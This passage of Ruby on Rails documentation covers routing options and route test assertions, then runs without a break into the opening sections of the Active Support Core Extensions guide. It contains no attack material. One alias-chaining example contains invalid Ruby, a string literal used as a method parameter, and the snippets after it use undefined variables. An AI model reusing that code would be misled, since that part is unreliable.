match '/admin', to: AdminApp, via: :all

If you would prefer to have your Rack application receive requests at the root path instead, use mount:

mount AdminApp, at: '/admin'

3.14 Using root

You can specify what Rails should route '/' to with the root method:

root to: 'pages#main'
root 'pages#main' # shortcut for the above

You should put the root route at the top of the file, because it is the most popular route and should be matched first.

The root route only routes GET requests to the action.

You can also use root inside namespaces and scopes as well. For example:

namespace :admin do
root to: "admin#index"
end

root to: "home#index"

3.15 Unicode character routes

You can specify unicode character routes directly. For example:

get 'こんにちは', to: 'welcome#index'

4 Customizing Resourceful Routes

While the default routes and helpers generated by resources :articles will usually serve you well, you may want to customize them in some way. Rails allows you to customize virtually any generic part of the resourceful helpers.

4.1 Specifying a Controller to Use

The :controller option lets you explicitly specify a controller to use for the resource. For example:

resources :photos, controller: 'images'

will recognize incoming paths beginning with /photos but route to the Images controller:

HTTP Verb

Path

Controller#Action

Named Helper

GET

/photos

images#index

photos_path

GET

/photos/new

images#new

new_photo_path

POST

/photos

images#create

photos_path

GET

/photos/:id

images#show

photo_path(:id)

GET

/photos/:id/edit

images#edit

edit_photo_path(:id)

PATCH/PUT

/photos/:id

images#update

photo_path(:id)

DELETE

/photos/:id

images#destroy

photo_path(:id)

Use photos_path, new_photo_path, etc. to generate paths for this resource.

For namespaced controllers you can use the directory notation. For example:

resources :user_permissions, controller: 'admin/user_permissions'

This will route to the Admin::UserPermissions controller.

Only the directory notation is supported. Specifying the controller with Ruby constant notation (eg. controller: 'Admin::UserPermissions') can lead to routing problems and results in a warning.

4.2 Specifying Constraints

You can use the :constraints option to specify a required format on the implicit id. For example:

resources :photos, constraints: { id: /[A-Z][A-Z][0-9]+/ }

This declaration constrains the :id parameter to match the supplied regular expression. So, in this case, the router would no longer match /photos/1 to this route. Instead, /photos/RR27 would match.

You can specify a single constraint to apply to a number of routes by using the block form:

constraints(id: /[A-Z][A-Z][0-9]+/) do
resources :photos
resources :accounts
end

Of course, you can use the more advanced constraints available in non-resourceful routes in this context.

By default the :id parameter doesn't accept dots - this is because the dot is used as a separator for formatted routes. If you need to use a dot within an :id add a constraint which overrides this - for example id: /[^\/]+/ allows anything except a slash.

4.3 Overriding the Named Helpers

The :as option lets you override the normal naming for the named route helpers. For example:

resources :photos, as: 'images'

will recognize incoming paths beginning with /photos and route the requests to PhotosController, but use the value of the :as option to name the helpers.

HTTP Verb

Path

Controller#Action

Named Helper

GET

/photos

photos#index

images_path

GET

/photos/new

photos#new

new_image_path

POST

/photos

photos#create

images_path

GET

/photos/:id

photos#show

image_path(:id)

GET

/photos/:id/edit

photos#edit

edit_image_path(:id)

PATCH/PUT

/photos/:id

photos#update

image_path(:id)

DELETE

/photos/:id

photos#destroy

image_path(:id)

4.4 Overriding the new and edit Segments

The :path_names option lets you override the automatically-generated new and edit segments in paths:

resources :photos, path_names: { new: 'make', edit: 'change' }

This would cause the routing to recognize paths such as:

/photos/make
/photos/1/change

The actual action names aren't changed by this option. The two paths shown would still route to the new and edit actions.

If you find yourself wanting to change this option uniformly for all of your routes, you can use a scope.

scope path_names: { new: 'make' } do
# rest of your routes
end

4.5 Prefixing the Named Route Helpers

You can use the :as option to prefix the named route helpers that Rails generates for a route. Use this option to prevent name collisions between routes using a path scope. For example:

scope 'admin' do
resources :photos, as: 'admin_photos'
end

resources :photos

This will provide route helpers such as admin_photos_path, new_admin_photo_path, etc.

To prefix a group of route helpers, use :as with scope:

scope 'admin', as: 'admin' do
resources :photos, :accounts
end

resources :photos, :accounts

This will generate routes such as admin_photos_path and admin_accounts_path which map to /admin/photos and /admin/accounts respectively.

The namespace scope will automatically add :as as well as :module and :path prefixes.

You can prefix routes with a named parameter also:

scope ':username' do
resources :articles
end

This will provide you with URLs such as /bob/articles/1 and will allow you to reference the username part of the path as params[:username] in controllers, helpers and views.

4.6 Restricting the Routes Created

By default, Rails creates routes for the seven default actions (index, show, new, create, edit, update, and destroy) for every RESTful route in your application. You can use the :only and :except options to fine-tune this behavior. The :only option tells Rails to create only the specified routes:

resources :photos, only: [:index, :show]

Now, a GET request to /photos would succeed, but a POST request to /photos (which would ordinarily be routed to the create action) will fail.

The :except option specifies a route or list of routes that Rails should not create:

resources :photos, except: :destroy

In this case, Rails will create all of the normal routes except the route for destroy (a DELETE request to /photos/:id).

If your application has many RESTful routes, using :only and :except to generate only the routes that you actually need can cut down on memory use and speed up the routing process.

4.7 Translated Paths

Using scope, we can alter path names generated by resources:

scope(path_names: { new: 'neu', edit: 'bearbeiten' }) do
resources :categories, path: 'kategorien'
end

Rails now creates routes to the CategoriesController.

HTTP Verb

Path

Controller#Action

Named Helper

GET

/kategorien

categories#index

categories_path

GET

/kategorien/neu

categories#new

new_category_path

POST

/kategorien

categories#create

categories_path

GET

/kategorien/:id

categories#show

category_path(:id)

GET

/kategorien/:id/bearbeiten

categories#edit

edit_category_path(:id)

PATCH/PUT

/kategorien/:id

categories#update

category_path(:id)

DELETE

/kategorien/:id

categories#destroy

category_path(:id)

4.8 Overriding the Singular Form

If you want to define the singular form of a resource, you should add additional rules to the Inflector:

ActiveSupport::Inflector.inflections do |inflect|
inflect.irregular 'tooth', 'teeth'
end

4.9 Using :as in Nested Resources

The :as option overrides the automatically-generated name for the resource in nested route helpers. For example:

resources :magazines do
resources :ads, as: 'periodical_ads'
end

This will create routing helpers such as magazine_periodical_ads_url and edit_magazine_periodical_ad_path.

4.10 Overriding Named Route Parameters

The :param option overrides the default resource identifier :id (name of the dynamic segment used to generate the routes). You can access that segment from your controller using params[<:param>].

resources :videos, param: :identifier

videos GET  /videos(.:format)                  videos#index
POST /videos(.:format)                  videos#create
new_videos GET  /videos/new(.:format)              videos#new
edit_videos GET  /videos/:identifier/edit(.:format) videos#edit

Video.find_by(identifier: params[:identifier])

You can override ActiveRecord::Base#to_param of a related model to construct a URL:

class Video < ApplicationRecord
def to_param
identifier
end
end

video = Video.find_by(identifier: "Roman-Holiday")
edit_videos_path(video) # => "/videos/Roman-Holiday"

5 Inspecting and Testing Routes

Rails offers facilities for inspecting and testing your routes.

5.1 Listing Existing Routes

To get a complete list of the available routes in your application, visit http://localhost:3000/rails/info/routes in your browser while your server is running in the development environment. You can also execute the rails routes command in your terminal to produce the same output.

Both methods will list all of your routes, in the same order that they appear in config/routes.rb. For each route, you'll see:

- The route name (if any)

- The HTTP verb used (if the route doesn't respond to all verbs)

- The URL pattern to match

- The routing parameters for the route

For example, here's a small section of the rails routes output for a RESTful route:

users GET    /users(.:format)          users#index
POST   /users(.:format)          users#create
new_user GET    /users/new(.:format)      users#new
edit_user GET    /users/:id/edit(.:format) users#edit

You can search through your routes with the grep option: -g. This outputs any routes that partially match the URL helper method name, the HTTP verb, or the URL path.

$ bin/rails routes -g new_comment
$ bin/rails routes -g POST
$ bin/rails routes -g admin

If you only want to see the routes that map to a specific controller, there's the -c option.

$ bin/rails routes -c users
$ bin/rails routes -c admin/users
$ bin/rails routes -c Comments
$ bin/rails routes -c Articles::CommentsController

You'll find that the output from rails routes is much more readable if you widen your terminal window until the output lines don't wrap.

5.2 Testing Routes

Routes should be included in your testing strategy (just like the rest of your application). Rails offers three built-in assertions designed to make testing routes simpler:

- assert_generates

- assert_recognizes

- assert_routing

5.2.1 The assert_generates Assertion

assert_generates asserts that a particular set of options generate a particular path and can be used with default routes or custom routes. For example:

assert_generates '/photos/1', { controller: 'photos', action: 'show', id: '1' }
assert_generates '/about', controller: 'pages', action: 'about'

5.2.2 The assert_recognizes Assertion

assert_recognizes is the inverse of assert_generates. It asserts that a given path is recognized and routes it to a particular spot in your application. For example:

assert_recognizes({ controller: 'photos', action: 'show', id: '1' }, '/photos/1')

You can supply a :method argument to specify the HTTP verb:

assert_recognizes({ controller: 'photos', action: 'create' }, { path: 'photos', method: :post })

5.2.3 The assert_routing Assertion

The assert_routing assertion checks the route both ways: it tests that the path generates the options, and that the options generate the path. Thus, it combines the functions of assert_generates and assert_recognizes:

assert_routing({ path: 'photos', method: :post }, { controller: 'photos', action: 'create' })

Active Support Core Extensions — Ruby...

1 How to Load Core Extensions

1.1 Stand-Alone Active Support

In order to have a near-zero default footprint, Active Support does not load anything by default. It is broken in small pieces so that you can load just what you need, and also has some convenience entry points to load related extensions in one shot, even everything.

Thus, after a simple require like:

require 'active_support'

objects do not even respond to blank?. Let's see how to load its definition.

1.1.1 Cherry-picking a Definition

The most lightweight way to get blank? is to cherry-pick the file that defines it.

For every single method defined as a core extension this guide has a note that says where such a method is defined. In the case of blank? the note reads:

Defined in active_support/core_ext/object/blank.rb.

That means that you can require it like this:

require 'active_support'
require 'active_support/core_ext/object/blank'

Active Support has been carefully revised so that cherry-picking a file loads only strictly needed dependencies, if any.

1.1.2 Loading Grouped Core Extensions

The next level is to simply load all extensions to Object. As a rule of thumb, extensions to SomeClass are available in one shot by loading active_support/core_ext/some_class.

Thus, to load all extensions to Object (including blank?):

require 'active_support'
require 'active_support/core_ext/object'

1.1.3 Loading All Core Extensions

You may prefer just to load all core extensions, there is a file for that:

require 'active_support'
require 'active_support/core_ext'

1.1.4 Loading All Active Support

And finally, if you want to have all Active Support available just issue:

require 'active_support/all'

That does not even put the entire Active Support in memory upfront indeed, some stuff is configured via autoload, so it is only loaded if used.

1.2 Active Support Within a Ruby on Rails Application

A Ruby on Rails application loads all Active Support unless config.active_support.bare is true. In that case, the application will only load what the framework itself cherry-picks for its own needs, and can still cherry-pick itself at any granularity level, as explained in the previous section.

2 Extensions to All Objects

2.1 blank? and present?

The following values are considered to be blank in a Rails application:

- nil and false,

- strings composed only of whitespace (see note below),

- empty arrays and hashes, and

- any other object that responds to empty? and is empty.

The predicate for strings uses the Unicode-aware character class [:space:], so for example U+2029 (paragraph separator) is considered to be whitespace.

Note that numbers are not mentioned. In particular, 0 and 0.0 are not blank.

For example, this method from ActionController::HttpAuthentication::Token::ControllerMethods uses blank? for checking whether a token is present:

def authenticate(controller, &login_procedure)
token, options = token_and_options(controller.request)
unless token.blank?
login_procedure.call(token, options)
end
end

The method present? is equivalent to !blank?. This example is taken from ActionDispatch::Http::Cache::Response:

def set_conditional_cache_control!
return if self["Cache-Control"].present?
...
end

Defined in active_support/core_ext/object/blank.rb.

2.2 presence

The presence method returns its receiver if present?, and nil otherwise. It is useful for idioms like this:

host = config[:host].presence || 'localhost'

Defined in active_support/core_ext/object/blank.rb.

2.3 duplicable?

A few fundamental objects in Ruby are singletons. For example, in the whole life of a program the integer 1 refers always to the same instance:

1.object_id                 # => 3
Math.cos(0).to_i.object_id  # => 3

Hence, there's no way these objects can be duplicated through dup or clone:

true.dup  # => TypeError: can't dup TrueClass

Some numbers which are not singletons are not duplicable either:

0.0.clone        # => allocator undefined for Float
(2**1024).clone  # => allocator undefined for Bignum

Active Support provides duplicable? to programmatically query an object about this property:

"foo".duplicable? # => true
"".duplicable?    # => true
0.0.duplicable?   # => false
false.duplicable? # => false

By definition all objects are duplicable? except nil, false, true, symbols, numbers, class, module, and method objects.

Any class can disallow duplication by removing dup and clone or raising exceptions from them. Thus only rescue can tell whether a given arbitrary object is duplicable. duplicable? depends on the hard-coded list above, but it is much faster than rescue. Use it only if you know the hard-coded list is enough in your use case.

Defined in active_support/core_ext/object/duplicable.rb.

2.4 deep_dup

The deep_dup method returns a deep copy of a given object. Normally, when you dup an object that contains other objects, Ruby does not dup them, so it creates a shallow copy of the object. If you have an array with a string, for example, it will look like this:

array     = ['string']
duplicate = array.dup

duplicate.push 'another-string'

# the object was duplicated, so the element was added only to the duplicate
array     # => ['string']
duplicate # => ['string', 'another-string']

duplicate.first.gsub!('string', 'foo')

# first element was not duplicated, it will be changed in both arrays
array     # => ['foo']
duplicate # => ['foo', 'another-string']

As you can see, after duplicating the Array instance, we got another object, therefore we can modify it and the original object will stay unchanged. This is not true for array's elements, however. Since dup does not make deep copy, the string inside the array is still the same object.

If you need a deep copy of an object, you should use deep_dup. Here is an example:

array     = ['string']
duplicate = array.deep_dup

duplicate.first.gsub!('string', 'foo')

array     # => ['string']
duplicate # => ['foo']

If the object is not duplicable, deep_dup will just return it:

number = 1
duplicate = number.deep_dup
number.object_id == duplicate.object_id   # => true

Defined in active_support/core_ext/object/deep_dup.rb.

2.5 try

When you want to call a method on an object only if it is not nil, the simplest way to achieve it is with conditional statements, adding unnecessary clutter. The alternative is to use try. try is like Object#send except that it returns nil if sent to nil.

Here is an example:

# without try
unless @number.nil?
@number.next
end

# with try
@number.try(:next)

Another example is this code from ActiveRecord::ConnectionAdapters::AbstractAdapter where @logger could be nil. You can see that the code uses try and avoids an unnecessary check.

def log_info(sql, name, ms)
if @logger.try(:debug?)
name = '%s (%.1fms)' % [name || 'SQL', ms]
@logger.debug(format_log_entry(name, sql.squeeze(' ')))
end
end

try can also be called without arguments but a block, which will only be executed if the object is not nil:

@person.try { |p| "#{p.first_name} #{p.last_name}" }

Note that try will swallow no-method errors, returning nil instead. If you want to protect against typos, use try! instead:

@number.try(:nest)  # => nil
@number.try!(:nest) # NoMethodError: undefined method `nest' for 1:Integer

Defined in active_support/core_ext/object/try.rb.

2.6 class_eval(*args, &block)

You can evaluate code in the context of any object's singleton class using class_eval:

class Proc
def bind(object)
block, time = self, Time.current
object.class_eval do
method_name = "__bind_#{time.to_i}_#{time.usec}"
define_method(method_name, &block)
method = instance_method(method_name)
remove_method(method_name)
method
end.bind(object)
end
end

Defined in active_support/core_ext/kernel/singleton_class.rb.

2.7 acts_like?(duck)

The method acts_like? provides a way to check whether some class acts like some other class based on a simple convention: a class that provides the same interface as String defines

def acts_like_string?
end

which is only a marker, its body or return value are irrelevant. Then, client code can query for duck-type-safeness this way:

some_klass.acts_like?(:string)

Rails has classes that act like Date or Time and follow this contract.

Defined in active_support/core_ext/object/acts_like.rb.

2.8 to_param

All objects in Rails respond to the method to_param, which is meant to return something that represents them as values in a query string, or as URL fragments.

By default to_param just calls to_s:

7.to_param # => "7"

The return value of to_param should not be escaped:

"Tom & Jerry".to_param # => "Tom & Jerry"

Several classes in Rails overwrite this method.

For example nil, true, and false return themselves. Array#to_param calls to_param on the elements and joins the result with "/":

[0, true, String].to_param # => "0/true/String"

Notably, the Rails routing system calls to_param on models to get a value for the :id placeholder. ActiveRecord::Base#to_param returns the id of a model, but you can redefine that method in your models. For example, given

class User
def to_param
"#{id}-#{name.parameterize}"
end
end

we get:

user_path(@user) # => "/users/357-john-smith"

Controllers need to be aware of any redefinition of to_param because when a request like that comes in "357-john-smith" is the value of params[:id].

Defined in active_support/core_ext/object/to_param.rb.

2.9 to_query

Except for hashes, given an unescaped key this method constructs the part of a query string that would map such key to what to_param returns. For example, given

class User
def to_param
"#{id}-#{name.parameterize}"
end
end

we get:

current_user.to_query('user') # => "user=357-john-smith"

This method escapes whatever is needed, both for the key and the value:

account.to_query('company[name]')
# => "company%5Bname%5D=Johnson+%26+Johnson"

so its output is ready to be used in a query string.

Arrays return the result of applying to_query to each element with _key_[] as key, and join the result with "&":

[3.4, -45.6].to_query('sample')
# => "sample%5B%5D=3.4&sample%5B%5D=-45.6"

Hashes also respond to to_query but with a different signature. If no argument is passed a call generates a sorted series of key/value assignments calling to_query(key) on its values. Then it joins the result with "&":

{c: 3, b: 2, a: 1}.to_query # => "a=1&b=2&c=3"

The method Hash#to_query accepts an optional namespace for the keys:

{id: 89, name: "John Smith"}.to_query('user')
# => "user%5Bid%5D=89&user%5Bname%5D=John+Smith"

Defined in active_support/core_ext/object/to_query.rb.

2.10 with_options

The method with_options provides a way to factor out common options in a series of method calls.

Given a default options hash, with_options yields a proxy object to a block. Within the block, methods called on the proxy are forwarded to the receiver with their options merged. For example, you get rid of the duplication in:

class Account < ApplicationRecord
has_many :customers, dependent: :destroy
has_many :products,  dependent: :destroy
has_many :invoices,  dependent: :destroy
has_many :expenses,  dependent: :destroy
end

this way:

class Account < ApplicationRecord
with_options dependent: :destroy do |assoc|
assoc.has_many :customers
assoc.has_many :products
assoc.has_many :invoices
assoc.has_many :expenses
end
end

That idiom may convey grouping to the reader as well. For example, say you want to send a newsletter whose language depends on the user. Somewhere in the mailer you could group locale-dependent bits like this:

I18n.with_options locale: user.locale, scope: "newsletter" do |i18n|
subject i18n.t :subject
body    i18n.t :body, user_name: user.name
end

Since with_options forwards calls to its receiver they can be nested. Each nesting level will merge inherited defaults in addition to their own.

Defined in active_support/core_ext/object/with_options.rb.

2.11 JSON support

Active Support provides a better implementation of to_json than the json gem ordinarily provides for Ruby objects. This is because some classes, like Hash, OrderedHash and Process::Status need special handling in order to provide a proper JSON representation.

Defined in active_support/core_ext/object/json.rb.

2.12 Instance Variables

Active Support provides several methods to ease access to instance variables.

2.12.1 instance_values

The method instance_values returns a hash that maps instance variable names without "@" to their corresponding values. Keys are strings:

class C
def initialize(x, y)
@x, @y = x, y
end
end

C.new(0, 1).instance_values # => {"x" => 0, "y" => 1}

Defined in active_support/core_ext/object/instance_variables.rb.

2.12.2 instance_variable_names

The method instance_variable_names returns an array. Each name includes the "@" sign.

class C
def initialize(x, y)
@x, @y = x, y
end
end

C.new(0, 1).instance_variable_names # => ["@x", "@y"]

Defined in active_support/core_ext/object/instance_variables.rb.

2.13 Silencing Warnings and Exceptions

The methods silence_warnings and enable_warnings change the value of $VERBOSE accordingly for the duration of their block, and reset it afterwards:

silence_warnings { Object.const_set "RAILS_DEFAULT_LOGGER", logger }

Silencing exceptions is also possible with suppress. This method receives an arbitrary number of exception classes. If an exception is raised during the execution of the block and is kind_of? any of the arguments, suppress captures it and returns silently. Otherwise the exception is not captured:

# If the user is locked, the increment is lost, no big deal.
suppress(ActiveRecord::StaleObjectError) do
current_user.increment! :visits
end

Defined in active_support/core_ext/kernel/reporting.rb.

2.14 in?

The predicate in? tests if an object is included in another object. An ArgumentError exception will be raised if the argument passed does not respond to include?.

Examples of in?:

1.in?([1,2])        # => true
"lo".in?("hello")   # => true
25.in?(30..50)      # => false
1.in?(1)            # => ArgumentError

Defined in active_support/core_ext/object/inclusion.rb.

3 Extensions to Module

3.1 alias_method_chain

This method is deprecated in favour of using Module#prepend.

Using plain Ruby you can wrap methods with other methods, that's called alias chaining.

For example, let's say you'd like params to be strings in functional tests, as they are in real requests, but still want the convenience of assigning integers and other kind of values. To accomplish that you could wrap ActionDispatch::IntegrationTest#process this way in test/test_helper.rb:

ActionDispatch::IntegrationTest.class_eval do
# save a reference to the original process method
alias_method :original_process, :process

# now redefine process and delegate to original_process
def process('GET', path, params: nil, headers: nil, env: nil, xhr: false)
params = Hash[*params.map {|k, v| [k, v.to_s]}.flatten]
original_process('GET', path, params: params)
end
end

That's the method get, post, etc., delegate the work to.

That technique has a risk, it could be the case that :original_process was taken. To try to avoid collisions people choose some label that characterizes what the chaining is about:

ActionDispatch::IntegrationTest.class_eval do
def process_with_stringified_params(...)
params = Hash[*params.map {|k, v| [k, v.to_s]}.flatten]
process_without_stringified_params(method, path, params: params)
end
alias_method :process_without_stringified_params, :process
alias_method :process, :process_with_stringified_params
end

The method alias_method_chain provides a shortcut for that pattern:

ActionDispatch::IntegrationTest.class_eval do
def process_with_stringified_params(...)
params = Hash[*params.map {|k, v| [k, v.to_s]}.flatten]
process_without_stringified_params(method, path, params: params)
end
alias_method_chain :process, :stringified_params
end

Defined in active_support/core_ext/module/aliasing.rb.

3.2 Attributes

3.2.1 alias_attribute

Model attributes have a reader, a writer, and a predicate. You can alias a model attribute having the corresponding three methods defined for you in one shot. As in other aliasing methods, the new name is the first argument, and the old name is the second (one mnemonic is that they go in the same order as if you did an assignment):

class User < ApplicationRecord
# You can refer to the email column as "login".
# This can be meaningful for authentication code.
alias_attribute :login, :email
end

Defined in active_support/core_ext/module/aliasing.rb.

3.2.2 Internal Attributes

When you are defining an attribute in a class that is meant to be subclassed, name collisions are a risk. That's remarkably important for libraries.

Active Support defines the macros attr_internal_reader, attr_internal_writer, and attr_internal_accessor. They behave like their Ruby built-in attr_* counterparts, except they name the underlying instance variable in a way that makes collisions less likely.

The macro attr_internal is a synonym for attr_internal_accessor:

# library
class ThirdPartyLibrary::Crawler
attr_internal :log_level
end

# client code
class MyCrawler < ThirdPartyLibrary::Crawler
attr_accessor :log_level
end

In the previous example it could be the case that :log_level does not belong to the public interface of the library and it is only used for development. The client code, unaware of the potential conflict, subclasses and defines its own :log_level. Thanks to attr_internal there's no collision.

By default the internal instance variable is named with a leading underscore, @_log_level in the example above. That's configurable via Module.attr_internal_naming_format though, you can pass any sprintf-like format string with a leading @ and a %s somewhere, which is where the name will be placed. The default is "@_%s".

Rails uses internal attributes in a few spots, for examples for views:

module ActionView
class Base
attr_internal :captures
attr_internal :request, :layout
attr_internal :controller, :template
end
end

Defined in active_support/core_ext/module/attr_internal.rb.

3.2.3 Module Attributes

The macros mattr_reader, mattr_writer, and mattr_accessor are the same as the cattr_* macros defined for class. In fact, the cattr_* macros are just aliases for the mattr_* macros. Check Class Attributes.

For example, the dependencies mechanism uses them:

module ActiveSupport
module Dependencies
mattr_accessor :warnings_on_first_load
mattr_accessor :history
mattr_accessor :loaded
mattr_accessor :mechanism
mattr_accessor :load_paths
mattr_accessor :load_once_paths
mattr_accessor :autoloaded_constants
mattr_accessor :explicitly_unloadable_constants
mattr_accessor :constant_watch_stack
mattr_accessor :constant_watch_stack_mutex
end
end

Defined in active_support/core_ext/module/attribute_accessors.rb.

3.3 Parents

3.3.1 parent

The parent method on a nested named module returns the module that contains its corresponding constant:

module X
module Y
module Z
end
end
end
M = X::Y::Z

X::Y::Z.parent # => X::Y
M.parent       # => X::Y

If the module is anonymous or belongs to the top-level, parent returns Object.

Note that in that case parent_name returns nil.

Defined in active_support/core_ext/module/introspection.rb.

3.3.2 parent_name

The parent_name method on a nested named module returns the fully-qualified name of the module that contains its corresponding constant:

module X
module Y
module Z
end
end
end
M = X::Y::Z

X::Y::Z.parent_name # => "X::Y"
M.parent_name       # => "X::Y"

For top-level or anonymous modules parent_name returns nil.

Note that in that case parent returns Object.

Defined in active_support/core_ext/module/introspection.rb.

3.3.3 parents

The method parents calls parent on the receiver and upwards until Object is reached. The chain is returned in an array, from bottom to top:

module X
module Y
module Z
end
end
end
M = X::Y::Z

X::Y::Z.parents # => [X::Y, X, Object]
M.parents       # => [X::Y, X, Object]

Defined in active_support/core_ext/module/introspection.rb.

3.3.4 Qualified Constant Names

The standard methods const_defined?, const_get, and const_set accept bare constant names. Active Support extends this API to be able to pass relative qualified constant names.

The new methods are qualified_const_defined?, qualified_const_get, and qualified_const_set. Their arguments are assumed to be qualified constant names relative to their receiver:

Object.qualified_const_defined?("Math::PI")       # => true
Object.qualified_const_get("Math::PI")            # => 3.141592653589793
Object.qualified_const_set("Math::Phi", 1.618034) # => 1.618034

Arguments may be bare constant names:

Math.qualified_const_get("E") # => 2.718281828459045

These methods are analogous to their built-in counterparts. In particular, qualified_constant_defined? accepts an optional second argument to be able to say whether you want the predicate to look in the ancestors. This flag is taken into account for each constant in the expression while walking down the path.

For example, given

module M
X = 1
end

module N
class C
include M
end
end

qualified_const_defined? behaves this way:

N.qualified_const_defined?("C::X", false) # => false
N.qualified_const_defined?("C::X", true)  # => true
N.qualified_const_defined?("C::X")        # => true

As the last example implies, the second argument defaults to true, as in const_defined?.

For coherence with the built-in methods only relative paths are accepted. Absolute qualified constant names like ::Math::PI raise NameError.

Defined in active_support/core_ext/module/qualified_const.rb.

3.4 Reachable

A named module is reachable if it is stored in its corresponding constant. It means you can reach the module object via the constant.

That is what ordinarily happens, if a module is called "M", the M constant exists and holds it:

module M
end

M.reachable? # => true

But since constants and modules are indeed kind of decoupled, module objects can become unreachable:

module M
end

orphan = Object.send(:remove_const, :M)

# The module object is orphan now but it still has a name.
orphan.name # => "M"

# You cannot reach it via the constant M because it does not even exist.
orphan.reachable? # => false

# Let's define a module called "M" again.
module M
end

# The constant M exists now again, and it stores a module
# object called "M", but it is a new instance.
orphan.reachable? # => false

Defined in active_support/core_ext/module/reachable.rb.

3.5 Anonymous

A module may or may not have a name:

module M
end
M.name # => "M"

N = Module.new
N.name # => "N"

Module.new.name # => nil

You can check whether a module has a name with the predicate anonymous?:

module M
end
M.anonymous? # => false

Module.new.anonymous? # => true

Note that being unreachable does not imply being anonymous:

module M
end

m = Object.send(:remove_const, :M)

m.reachable? # => false
m.anonymous? # => false

though an anonymous module is unreachable by definition.

Defined in active_support/core_ext/module/anonymous.rb.

3.6 Method Delegation

The macro delegate offers an easy way to forward methods.

Let's imagine that users in some application have login information in the User model but name and other data in a separate Profile model:

class User < ApplicationRecord
has_one :profile
end

With that configuration you get a user's name via their profile, user.profile.name, but it could be handy to still be able to access such attribute directly:

class User < ApplicationRecord
has_one :profile

def name
profile.name
end
end

That is what delegate does for you:

class User < ApplicationRecord
has_one :profile

delegate :name, to: :profile
end

It is shorter, and the intention more obvious.

The method must be public in the target.

The delegate macro accepts several methods:

delegate :name, :age, :address, :twitter, to: :profile

When interpolated into a string, the :to option should become an expression that evaluates to the object the method is delegated to. Typically a string or symbol. Such an expression is evaluated in the context of the receiver:

# delegates to the Rails constant
delegate :logger, to: :Rails

# delegates to the receiver's class
delegate :table_name, to: :class

If the :prefix option is true this is less generic, see below.

By default, if the delegation raises NoMethodError and the target is nil the exception is propagated. You can ask that nil is returned instead with the :allow_nil option:

delegate :name, to: :profile, allow_nil: true

With :allow_nil the call user.name returns nil if the user has no profile.

The option :prefix adds a prefix to the name of the generated method. This may be handy for example to get a better name:

delegate :street, to: :address, prefix: true

The previous example generates address_street rather than street.

Since in this case the name of the generated method is composed of the target object and target method names, the :to option must be a method name.

A custom prefix may also be configured:

delegate :size, to: :attachment, prefix: :avatar

In the previous example the macro generates avatar_size rather than size.

Defined in active_support/core_ext/module/delegation.rb

3.7 Redefining Methods

There are cases where you need to define a method with define_method, but don't know whether a method with that name already exists. If it does, a warning is issued if they are enabled. No big deal, but not clean either.

The method redefine_method prevents such a potential warning, removing the existing method before if needed.

Defined in active_support/core_ext/module/remove_method.rb

4 Extensions to Class

4.1 Class Attributes

4.1.1 class_attribute

The method class_attribute declares one or more inheritable class attributes that can be overridden at any level down the hierarchy.

class A
class_attribute :x
end

class B < A; end

class C < B; end

A.x = :a
B.x # => :a
C.x # => :a

B.x = :b
A.x # => :a
C.x # => :b

C.x = :c
A.x # => :a
B.x # => :b

For example ActionMailer::Base defines:

class_attribute :default_params
self.default_params = {
mime_version: "1.0",
charset: "UTF-8",
content_type: "text/plain",
parts_order: [ "text/plain", "text/enriched", "text/html" ]
}.freeze

They can also be accessed and overridden at the instance level.

A.x = 1

a1 = A.new
a2 = A.new
a2.x = 2

a1.x # => 1, comes from A
a2.x # => 2, overridden in a2

The generation of the writer instance method can be prevented by setting the option :instance_writer to false.

module ActiveRecord
class Base
class_attribute :table_name_prefix, instance_writer: false
self.table_name_prefix = ""
end
end

A model may find that option useful as a way to prevent mass-assignment from setting the attribute.

The generation of the reader instance method can be prevented by setting the option :instance_reader to false.

class A
class_attribute :x, instance_reader: false
end

A.new.x = 1 # NoMethodError

For convenience class_attribute also defines an instance predicate which is the double negation of what the instance reader returns. In the examples above it would be called x?.

When :instance_reader is false, the instance predicate returns a NoMethodError just like the reader method.

If you do not want the instance predicate, pass instance_predicate: false and it will not be defined.

Defined in active_support/core_ext/class/attribute.rb

4.1.2 cattr_reader, cattr_writer, and cattr_accessor

The macros cattr_reader, cattr_writer, and cattr_accessor are analogous to their attr_* counterparts but for classes. They initialize a class variable to nil unless it already exists, and generate the corresponding class methods to access it:

class MysqlAdapter < AbstractAdapter
# Generates class methods to access @@emulate_booleans.
cattr_accessor :emulate_booleans
self.emulate_booleans = true
end

Instance methods are created as well for convenience, they are just proxies to the class attribute. So, instances can change the class attribute, but cannot override it as it happens with class_attribute (see above). For example given

module ActionView
class Base
cattr_accessor :field_error_proc
@@field_error_proc = Proc.new{ ... }
end
end

we can access field_error_proc in views.

Also, you can pass a block to cattr_* to set up the attribute with a default value:

class MysqlAdapter < AbstractAdapter
# Generates class methods to access @@emulate_booleans with default value of true.
cattr_accessor(:emulate_booleans) { true }
end

The generation of the reader instance method can be prevented by setting :instance_reader to false and the generation of the writer instance method can be prevented by setting :instance_writer to false. Generation of both methods can be prevented by setting :instance_accessor to false. In all cases, the value must be exactly false and not any false value.

module A
class B
# No first_name instance reader is generated.
cattr_accessor :first_name, instance_reader: false
# No last_name= instance writer is generated.
cattr_accessor :last_name, instance_writer: false
# No surname instance reader or surname= writer is generated.
cattr_accessor :surname, instance_accessor: false
end
end

A model may find it useful to set :instance_accessor to false as a way to prevent mass-assignment from setting the attribute.

Defined in active_support/core_ext/module/attribute_accessors.rb.

4.2 Subclasses & Descendants

4.2.1 subclasses

The subclasses method returns the subclasses of the receiver:

class C; end
C.subclasses # => []

class B < C; end
C.subclasses # => [B]

class A < B; end
C.subclasses # => [B]

class D < C; end
C.subclasses # => [B, D]

The order in which these classes are returned is unspecified.

Defined in active_support/core_ext/class/subclasses.rb.

4.2.2 descendants

The descendants method returns all classes that are < than its receiver:

class C; end
C.descendants # => []

class B < C; end
C.descendants # => [B]

class A < B; end
C.descendants # => [B, A]

class D < C; end
C.descendants # => [B, A, D]

The order in which these classes are returned is unspecified.

Defined in active_support/core_ext/class/subclasses.rb.

5 Extensions to String

5.1 Output Safety

5.1.1 Motivation

Inserting data into HTML templates needs extra care. For example, you can't just interpolate @review.title verbatim into an HTML page. For one thing, if the review title is "Flanagan & Matz rules!" the output won't be well-formed because an ampersand has to be escaped as "&amp;". What's more, depending on the application, that may be a big security hole because users can inject malicious HTML setting a hand-crafted review title. Check out the section about cross-site scripting in the Security guide for further information about the risks.

5.1.2 Safe Strings

Active Support has the concept of (html) safe strings. A safe string is one that is marked as being insertable into HTML as is. It is trusted, no matter whether it has been escaped or not.

Strings are considered to be unsafe by default:

"".html_safe? # => false

